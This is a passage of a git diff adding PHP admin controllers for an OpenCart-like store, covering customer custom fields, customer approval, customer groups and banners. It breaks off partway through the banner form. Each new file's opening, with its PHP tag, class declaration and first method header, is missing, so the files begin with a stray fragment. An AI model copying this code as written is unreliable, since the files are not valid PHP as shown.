+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function customfield() {
+ $json = array();
+
+ $this->load->model('customer/custom_field');
+
+ // Customer Group
+ if (isset($this->request->get['customer_group_id'])) {
+ $customer_group_id = $this->request->get['customer_group_id'];
+ } else {
+ $customer_group_id = $this->config->get('config_customer_group_id');
+ }
+
+ $custom_fields = $this->model_customer_custom_field->getCustomFields(array('filter_customer_group_id' => $customer_group_id));
+
+ foreach ($custom_fields as $custom_field) {
+ $json[] = array(
+ 'custom_field_id' => $custom_field['custom_field_id'],
+ 'required' => empty($custom_field['required']) || $custom_field['required'] == 0 ? false : true
+ );
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function address() {
+ $json = array();
+
+ if (!empty($this->request->get['address_id'])) {
+ $this->load->model('customer/customer');
+
+ $json = $this->model_customer_customer->getAddress($this->request->get['address_id']);
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/customer/customer_approval.php b/public/admin/controller/customer/customer_approval.php
new file mode 100644
index 0000000..dbd4513
--- /dev/null
+++ b/public/admin/controller/customer/customer_approval.php
@@ -0,0 +1,246 @@
+load->language('customer/customer_approval');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $filter_email = $this->request->get['filter_email'];
+ } else {
+ $filter_email = '';
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $filter_customer_group_id = $this->request->get['filter_customer_group_id'];
+ } else {
+ $filter_customer_group_id = '';
+ }
+
+ if (isset($this->request->get['filter_type'])) {
+ $filter_type = $this->request->get['filter_type'];
+ } else {
+ $filter_type = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_type'])) {
+ $url .= '&filter_type=' . $this->request->get['filter_type'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('customer/customer_approval', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['filter_name'] = $filter_name;
+ $data['filter_email'] = $filter_email;
+ $data['filter_customer_group_id'] = $filter_customer_group_id;
+ $data['filter_type'] = $filter_type;
+ $data['filter_date_added'] = $filter_date_added;
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('customer/customer_approval', $data));
+ }
+
+ public function customer_approval() {
+ $this->load->language('customer/customer_approval');
+
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $filter_email = $this->request->get['filter_email'];
+ } else {
+ $filter_email = '';
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $filter_customer_group_id = $this->request->get['filter_customer_group_id'];
+ } else {
+ $filter_customer_group_id = '';
+ }
+
+ if (isset($this->request->get['filter_type'])) {
+ $filter_type = $this->request->get['filter_type'];
+ } else {
+ $filter_type = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['customer_approvals'] = array();
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_email' => $filter_email,
+ 'filter_customer_group_id' => $filter_customer_group_id,
+ 'filter_type' => $filter_type,
+ 'filter_date_added' => $filter_date_added,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $this->load->model('customer/customer_approval');
+
+ $customer_approval_total = $this->model_customer_customer_approval->getTotalCustomerApprovals($filter_data);
+
+ $results = $this->model_customer_customer_approval->getCustomerApprovals($filter_data);
+
+ foreach ($results as $result) {
+ $data['customer_approvals'][] = array(
+ 'customer_id' => $result['customer_id'],
+ 'name' => $result['name'],
+ 'email' => $result['email'],
+ 'customer_group' => $result['customer_group'],
+ 'type' => $this->language->get('text_' . $result['type']),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'approve' => $this->url->link('customer/customer_approval/approve', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'] . '&type=' . $result['type'], true),
+ 'deny' => $this->url->link('customer/customer_approval/deny', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'] . '&type=' . $result['type'], true),
+ 'edit' => $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'], true)
+ );
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_type'])) {
+ $url .= '&filter_type=' . $this->request->get['filter_type'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $customer_approval_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('customer/customer_approval/customer_approval', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($customer_approval_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($customer_approval_total - $this->config->get('config_limit_admin'))) ? $customer_approval_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $customer_approval_total, ceil($customer_approval_total / $this->config->get('config_limit_admin')));
+
+ $this->response->setOutput($this->load->view('customer/customer_approval_list', $data));
+ }
+
+ public function approve() {
+ $this->load->language('customer/customer_approval');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'customer/customer_approval')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('customer/customer_approval');
+
+ if ($this->request->get['type'] == 'customer') {
+ $this->model_customer_customer_approval->approveCustomer($this->request->get['customer_id']);
+ } elseif ($this->request->get['type'] == 'affiliate') {
+ $this->model_customer_customer_approval->approveAffiliate($this->request->get['customer_id']);
+ }
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function deny() {
+ $this->load->language('customer/customer_approval');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'customer/customer_approval')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('customer/customer_approval');
+
+ if ($this->request->get['type'] == 'customer') {
+ $this->model_customer_customer_approval->denyCustomer($this->request->get['customer_id']);
+ } elseif ($this->request->get['type'] == 'affiliate') {
+ $this->model_customer_customer_approval->denyAffiliate($this->request->get['customer_id']);
+ }
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/customer/customer_group.php b/public/admin/controller/customer/customer_group.php
new file mode 100644
index 0000000..0bafbc1
--- /dev/null
+++ b/public/admin/controller/customer/customer_group.php
@@ -0,0 +1,378 @@
+load->language('customer/customer_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer_group');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('customer/customer_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer_group');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_customer_customer_group->addCustomerGroup($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('customer/customer_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer_group');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_customer_customer_group->editCustomerGroup($this->request->get['customer_group_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('customer/customer_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer_group');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $customer_group_id) {
+ $this->model_customer_customer_group->deleteCustomerGroup($customer_group_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'cgd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('customer/customer_group/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('customer/customer_group/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['customer_groups'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $customer_group_total = $this->model_customer_customer_group->getTotalCustomerGroups();
+
+ $results = $this->model_customer_customer_group->getCustomerGroups($filter_data);
+
+ foreach ($results as $result) {
+ $data['customer_groups'][] = array(
+ 'customer_group_id' => $result['customer_group_id'],
+ 'name' => $result['name'] . (($result['customer_group_id'] == $this->config->get('config_customer_group_id')) ? $this->language->get('text_default') : null),
+ 'sort_order' => $result['sort_order'],
+ 'edit' => $this->url->link('customer/customer_group/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_group_id=' . $result['customer_group_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . '&sort=cgd.name' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . '&sort=cg.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $customer_group_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($customer_group_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($customer_group_total - $this->config->get('config_limit_admin'))) ? $customer_group_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $customer_group_total, ceil($customer_group_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('customer/customer_group_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['customer_group_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['customer_group_id'])) {
+ $data['action'] = $this->url->link('customer/customer_group/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('customer/customer_group/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_group_id=' . $this->request->get['customer_group_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['customer_group_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $customer_group_info = $this->model_customer_customer_group->getCustomerGroup($this->request->get['customer_group_id']);
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['customer_group_description'])) {
+ $data['customer_group_description'] = $this->request->post['customer_group_description'];
+ } elseif (isset($this->request->get['customer_group_id'])) {
+ $data['customer_group_description'] = $this->model_customer_customer_group->getCustomerGroupDescriptions($this->request->get['customer_group_id']);
+ } else {
+ $data['customer_group_description'] = array();
+ }
+
+ if (isset($this->request->post['approval'])) {
+ $data['approval'] = $this->request->post['approval'];
+ } elseif (!empty($customer_group_info)) {
+ $data['approval'] = $customer_group_info['approval'];
+ } else {
+ $data['approval'] = '';
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($customer_group_info)) {
+ $data['sort_order'] = $customer_group_info['sort_order'];
+ } else {
+ $data['sort_order'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('customer/customer_group_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'customer/customer_group')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['customer_group_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 32)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'customer/customer_group')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('customer/customer');
+
+ foreach ($this->request->post['selected'] as $customer_group_id) {
+ if ($this->config->get('config_customer_group_id') == $customer_group_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $store_total = $this->model_setting_store->getTotalStoresByCustomerGroupId($customer_group_id);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+
+ $customer_total = $this->model_customer_customer->getTotalCustomersByCustomerGroupId($customer_group_id);
+
+ if ($customer_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_customer'), $customer_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/design/banner.php b/public/admin/controller/design/banner.php
new file mode 100644
index 0000000..8a168ab
--- /dev/null
+++ b/public/admin/controller/design/banner.php
@@ -0,0 +1,403 @@
+load->language('design/banner');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/banner');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('design/banner');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/banner');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_design_banner->addBanner($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('design/banner');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/banner');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_design_banner->editBanner($this->request->get['banner_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('design/banner');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/banner');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $banner_id) {
+ $this->model_design_banner->deleteBanner($banner_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('design/banner/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('design/banner/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['banners'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $banner_total = $this->model_design_banner->getTotalBanners();
+
+ $results = $this->model_design_banner->getBanners($filter_data);
+
+ foreach ($results as $result) {
+ $data['banners'][] = array(
+ 'banner_id' => $result['banner_id'],
+ 'name' => $result['name'],
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'edit' => $this->url->link('design/banner/edit', 'user_token=' . $this->session->data['user_token'] . '&banner_id=' . $result['banner_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_status'] = $this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . '&sort=status' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $banner_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($banner_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($banner_total - $this->config->get('config_limit_admin'))) ? $banner_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $banner_total, ceil($banner_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/banner_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['banner_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['banner_image'])) {
+ $data['error_banner_image'] = $this->error['banner_image'];
+ } else {
+ $data['error_banner_image'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['banner_id'])) {
+ $data['action'] = $this->url->link('design/banner/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('design/banner/edit', 'user_token=' . $this->session->data['user_token'] . '&banner_id=' . $this->request->get['banner_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['banner_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $banner_info = $this->model_design_banner->getBanner($this->request->get['banner_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($banner_info)) {
+ $data['name'] = $banner_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($banner_info)) {
+ $data['status'] = $banner_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['banner_image'])) {
